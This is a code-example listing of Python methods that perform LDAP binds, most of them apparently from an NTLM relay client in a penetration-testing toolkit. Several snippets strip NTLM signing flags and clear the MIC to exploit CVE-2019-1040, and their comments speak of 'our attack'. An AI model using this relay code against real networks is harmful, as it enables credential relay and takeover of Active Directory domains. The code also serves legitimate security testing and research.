示例#1
0
    def sendNegotiate(self, negotiateMessage):
        self.negotiateMessage = negotiateMessage
        self.init_connection()

        with self.connection.lock:
            if not self.connection.sasl_in_progress:
                self.connection.sasl_in_progress = True
                request = bind.bind_operation(self.connection.version,
                                              'SICILY_PACKAGE_DISCOVERY')
                response = self.connection.post_send_single_response(
                    self.connection.send('bindRequest', request, None))
                result = response[0]
                sicily_packages = result['server_creds'].decode('ascii').split(
                    ';')

                if 'NTLM' in sicily_packages:  # NTLM available on server
                    request = bind.bind_operation(self.connection.version,
                                                  'SICILY_NEGOTIATE_NTLM',
                                                  self)
                    response = self.connection.post_send_single_response(
                        self.connection.send('bindRequest', request, None))
                    result = response[0]

                    if result['result'] == RESULT_SUCCESS:
                        return result['server_creds']
示例#2
0
    def sendNegotiate(self, negotiateMessage):
        #Remove the message signing flag
        #For LDAP this is required otherwise it triggers LDAP signing
        negoMessage = NTLMAuthNegotiate()
        negoMessage.fromString(negotiateMessage)
        #negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
        self.negotiateMessage = str(negoMessage)

        with self.session.connection_lock:
            if not self.session.sasl_in_progress:
                self.session.sasl_in_progress = True
                request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY')
                response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
                result = response[0]
                try:
                    sicily_packages = result['server_creds'].decode('ascii').split(';')
                except KeyError:
                    raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result)

                if 'NTLM' in sicily_packages:  # NTLM available on server
                    request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self)
                    response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
                    result = response[0]

                    if result['result'] == RESULT_SUCCESS:
                        challenge = NTLMAuthChallenge()
                        challenge.fromString(result['server_creds'])
                        return challenge
                else:
                    raise LDAPRelayClientException('Server did not offer NTLM authentication!')
示例#3
0
    def sendNegotiate(self, negotiateMessage):
        #Remove the message signing flag
        #For LDAP this is required otherwise it triggers LDAP signing
        negoMessage = NTLMAuthNegotiate()
        negoMessage.fromString(negotiateMessage)
        #negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
        self.negotiateMessage = str(negoMessage)

        with self.session.connection_lock:
            if not self.session.sasl_in_progress:
                self.session.sasl_in_progress = True
                request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY')
                response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
                result = response[0]
                try:
                    sicily_packages = result['server_creds'].decode('ascii').split(';')
                except KeyError:
                    raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result)

                if 'NTLM' in sicily_packages:  # NTLM available on server
                    request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self)
                    response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
                    result = response[0]

                    if result['result'] == RESULT_SUCCESS:
                        challenge = NTLMAuthChallenge()
                        challenge.fromString(result['server_creds'])
                        return challenge
                else:
                    raise LDAPRelayClientException('Server did not offer NTLM authentication!')
示例#4
0
    def sendNegotiate(self, negotiateMessage):
        self.negotiateMessage = negotiateMessage
        self.init_connection()

        with self.connection.lock:
            if not self.connection.sasl_in_progress:
                self.connection.sasl_in_progress = True
                request = bind.bind_operation(self.connection.version,
                                              'SICILY_PACKAGE_DISCOVERY')
                response = self.connection.post_send_single_response(
                    self.connection.send('bindRequest', request, None))
                result = response[0]
                try:
                    sicily_packages = result['server_creds'].decode(
                        'ascii').split(';')
                except KeyError:
                    raise LDAPRelayClientException(
                        'Could not discover authentication methods, server replied: %s'
                        % result)

                if 'NTLM' in sicily_packages:  # NTLM available on server
                    request = bind.bind_operation(self.connection.version,
                                                  'SICILY_NEGOTIATE_NTLM',
                                                  self)
                    response = self.connection.post_send_single_response(
                        self.connection.send('bindRequest', request, None))
                    result = response[0]

                    if result['result'] == RESULT_SUCCESS:
                        return result['server_creds']
                else:
                    raise LDAPRelayClientException(
                        'Server did not offer NTLM authentication!')
示例#5
0
    def sendNegotiate(self, negotiateMessage):
        negoMessage = NTLMAuthNegotiate()
        negoMessage.fromString(negotiateMessage)

        # When exploiting CVE-2019-1040, remove message signing flag
        # For SMB->LDAP this is required otherwise it triggers LDAP signing
        # Changing flags breaks the signature unless the client uses a non-standard implementation of NTLM
        if self.serverConfig.remove_mic:
            if negoMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
            if negoMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN

        self.negotiateMessage = negoMessage.getData()

        # Warn if the relayed target requests signing, which will break our attack
        if negoMessage[
                'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
            LOG.warning(
                'The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)'
            )

        with self.session.connection_lock:
            if not self.session.sasl_in_progress:
                self.session.sasl_in_progress = True
                request = bind.bind_operation(self.session.version,
                                              'SICILY_PACKAGE_DISCOVERY')
                response = self.session.post_send_single_response(
                    self.session.send('bindRequest', request, None))
                result = response[0]
                try:
                    sicily_packages = result['server_creds'].decode(
                        'ascii').split(';')
                except KeyError:
                    raise LDAPRelayClientException(
                        'Could not discover authentication methods, server replied: %s'
                        % result)

                if 'NTLM' in sicily_packages:  # NTLM available on server
                    request = bind.bind_operation(self.session.version,
                                                  'SICILY_NEGOTIATE_NTLM',
                                                  self)
                    response = self.session.post_send_single_response(
                        self.session.send('bindRequest', request, None))
                    result = response[0]
                    if result['result'] == RESULT_SUCCESS:
                        challenge = NTLMAuthChallenge()
                        challenge.fromString(result['server_creds'])
                        return challenge
                else:
                    raise LDAPRelayClientException(
                        'Server did not offer NTLM authentication!')
示例#6
0
    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
        if unpack('B',
                  str(authenticateMessageBlob)
                  [:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
            token = respToken2['ResponseToken']
        else:
            token = authenticateMessageBlob
        with self.session.connection_lock:
            self.authenticateMessageBlob = token
            request = bind.bind_operation(self.session.version,
                                          'SICILY_RESPONSE_NTLM', self, None)
            response = self.session.post_send_single_response(
                self.session.send('bindRequest', request, None))
            result = response[0]
        self.session.sasl_in_progress = False

        if result['result'] == RESULT_SUCCESS:
            self.session.bound = True
            self.session.refresh_server_info()
            return None, STATUS_SUCCESS
        else:
            if result[
                    'result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS':
                raise LDAPRelayClientException(
                    'Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )'
                )
        return None, STATUS_ACCESS_DENIED
示例#7
0
 def sendNegotiate(self,negotiateMessage):
     self.negotiateMessage = negotiateMessage
     self.init_connection()
     with self.c.lock:
         result = None
         if not self.c.sasl_in_progress:
             self.c.sasl_in_progress = True
             request = bind.bind_operation(self.c.version, 'SICILY_PACKAGE_DISCOVERY')
             response = self.c.post_send_single_response(self.c.send('bindRequest', request, None))
             result = response[0]
             sicily_packages = result['server_creds'].decode('ascii').split(';')
             if 'NTLM' in sicily_packages:  # NTLM available on server
                 request = bind.bind_operation(self.c.version, 'SICILY_NEGOTIATE_NTLM', self)
                 response = self.c.post_send_single_response(self.c.send('bindRequest', request, None))
                 result = response[0]
                 if result['result'] == RESULT_SUCCESS:
                     return result['server_creds']
示例#8
0
    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
        with self.connection.lock:
            self.authenticateMessageBlob = authenticateMessageBlob
            request = bind.bind_operation(self.connection.version, 'SICILY_RESPONSE_NTLM', self, None)
            response = self.connection.post_send_single_response(self.connection.send('bindRequest', request, None))
            result = response[0]
        self.connection.sasl_in_progress = False

        if result['result'] == RESULT_SUCCESS:
            self.connection.bound = True
            self.connection.refresh_server_info()
        return result
示例#9
0
def ldap_kerberos_auth(ldapconnection, authdata_gssapi):
    # Hackery to authenticate with ldap3 using impacket Kerberos stack
    # I originally wrote this for BloodHound.py, but it works fine (tm) here too
    ldapconnection.open(read_server_info=False)
    request = bind_operation(ldapconnection.version, SASL, None, None,
                             ldapconnection.sasl_mechanism, authdata_gssapi)
    response = ldapconnection.post_send_single_response(
        ldapconnection.send('bindRequest', request, None))[0]
    ldapconnection.result = response
    if response['result'] == 0:
        ldapconnection.bound = True
        ldapconnection.refresh_server_info()
    return response['result'] == 0
示例#10
0
    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
        if unpack('B', authenticateMessageBlob[:1]
                  )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
            token = respToken2['ResponseToken']
        else:
            token = authenticateMessageBlob

        authMessage = NTLMAuthChallengeResponse()
        authMessage.fromString(token)
        # When exploiting CVE-2019-1040, remove flags
        if self.serverConfig.remove_mic:
            if authMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
            if authMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
            if authMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
            if authMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
            authMessage['MIC'] = b''
            authMessage['MICLen'] = 0
            authMessage['Version'] = b''
            authMessage['VersionLen'] = 0
            token = authMessage.getData()

        with self.session.connection_lock:
            self.authenticateMessageBlob = token
            request = bind.bind_operation(self.session.version,
                                          'SICILY_RESPONSE_NTLM', self, None)
            response = self.session.post_send_single_response(
                self.session.send('bindRequest', request, None))
            result = response[0]
        self.session.sasl_in_progress = False

        if result['result'] == RESULT_SUCCESS:
            self.session.bound = True
            self.session.refresh_server_info()
            return None, STATUS_SUCCESS
        else:
            if result[
                    'result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS':
                raise LDAPRelayClientException(
                    'Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )'
                )
        return None, STATUS_ACCESS_DENIED
示例#11
0
    def sendNegotiate(self, negotiateMessage):
        # Remove the message signing flag
        # For LDAP this is required otherwise it triggers LDAP signing

        # Note that this code is commented out because changing flags breaks the signature
        # unless the client uses a non-standard implementation of NTLM
        negoMessage = NTLMAuthNegotiate()
        negoMessage.fromString(negotiateMessage)
        #negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
        self.negotiateMessage = negoMessage.getData()

        # Warn if the relayed target requests signing, which will break our attack
        if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
            LOG.warning('The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)')

        with self.session.connection_lock:
            if not self.session.sasl_in_progress:
                self.session.sasl_in_progress = True
                request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY')
                response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
                result = response[0]
                try:
                    sicily_packages = result['server_creds'].decode('ascii').split(';')
                except KeyError:
                    raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result)

                if 'NTLM' in sicily_packages:  # NTLM available on server
                    request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self)
                    response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
                    result = response[0]

                    if result['result'] == RESULT_SUCCESS:
                        challenge = NTLMAuthChallenge()
                        challenge.fromString(result['server_creds'])
                        return challenge
                else:
                    raise LDAPRelayClientException('Server did not offer NTLM authentication!')
示例#12
0
    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
        if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
            token = respToken2['ResponseToken']
        else:
            token = authenticateMessageBlob
        with self.session.connection_lock:
            self.authenticateMessageBlob = token
            request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None)
            response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
            result = response[0]
        self.session.sasl_in_progress = False

        if result['result'] == RESULT_SUCCESS:
            self.session.bound = True
            self.session.refresh_server_info()
            return None, STATUS_SUCCESS

        return None, STATUS_ACCESS_DENIED
示例#13
0
    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
        if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
            token = respToken2['ResponseToken']
        else:
            token = authenticateMessageBlob
        with self.session.connection_lock:
            self.authenticateMessageBlob = token
            request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None)
            response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
            result = response[0]
        self.session.sasl_in_progress = False

        if result['result'] == RESULT_SUCCESS:
            self.session.bound = True
            self.session.refresh_server_info()
            return None, STATUS_SUCCESS
        else:
            if result['result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS':
                raise LDAPRelayClientException('Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )')
        return None, STATUS_ACCESS_DENIED
示例#14
0
def ldap_kerberos(domain, kdc, tgt, username, ldapconnection, hostname):
    # Hackery to authenticate with ldap3 using impacket Kerberos stack
    # I originally wrote this for BloodHound.py, but it works fine (tm) here too

    username = Principal(username,
                         type=constants.PrincipalNameType.NT_PRINCIPAL.value)
    servername = Principal('ldap/%s' % hostname,
                           type=constants.PrincipalNameType.NT_SRV_INST.value)
    tgs, cipher, _, sessionkey = getKerberosTGS(servername, domain, kdc,
                                                tgt['KDC_REP'], tgt['cipher'],
                                                tgt['sessionKey'])

    # Let's build a NegTokenInit with a Kerberos AP_REQ
    blob = SPNEGO_NegTokenInit()

    # Kerberos
    blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]

    # Let's extract the ticket from the TGS
    tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
    ticket = Ticket()
    ticket.from_asn1(tgs['ticket'])

    # Now let's build the AP_REQ
    apReq = AP_REQ()
    apReq['pvno'] = 5
    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

    opts = []
    apReq['ap-options'] = constants.encodeFlags(opts)
    seq_set(apReq, 'ticket', ticket.to_asn1)

    authenticator = Authenticator()
    authenticator['authenticator-vno'] = 5
    authenticator['crealm'] = domain
    seq_set(authenticator, 'cname', username.components_to_asn1)
    now = datetime.datetime.utcnow()

    authenticator['cusec'] = now.microsecond
    authenticator['ctime'] = KerberosTime.to_asn1(now)

    encodedAuthenticator = encoder.encode(authenticator)

    # Key Usage 11
    # AP-REQ Authenticator (includes application authenticator
    # subkey), encrypted with the application session key
    # (Section 5.5.1)
    encryptedEncodedAuthenticator = cipher.encrypt(sessionkey, 11,
                                                   encodedAuthenticator, None)

    apReq['authenticator'] = noValue
    apReq['authenticator']['etype'] = cipher.enctype
    apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

    blob['MechToken'] = encoder.encode(apReq)

    # From here back to ldap3
    ldapconnection.open(read_server_info=False)
    request = bind_operation(ldapconnection.version, SASL, None, None,
                             ldapconnection.sasl_mechanism, blob.getData())
    response = ldapconnection.post_send_single_response(
        ldapconnection.send('bindRequest', request, None))[0]
    ldapconnection.result = response
    if response['result'] == 0:
        ldapconnection.bound = True
        ldapconnection.refresh_server_info()
    return response['result'] == 0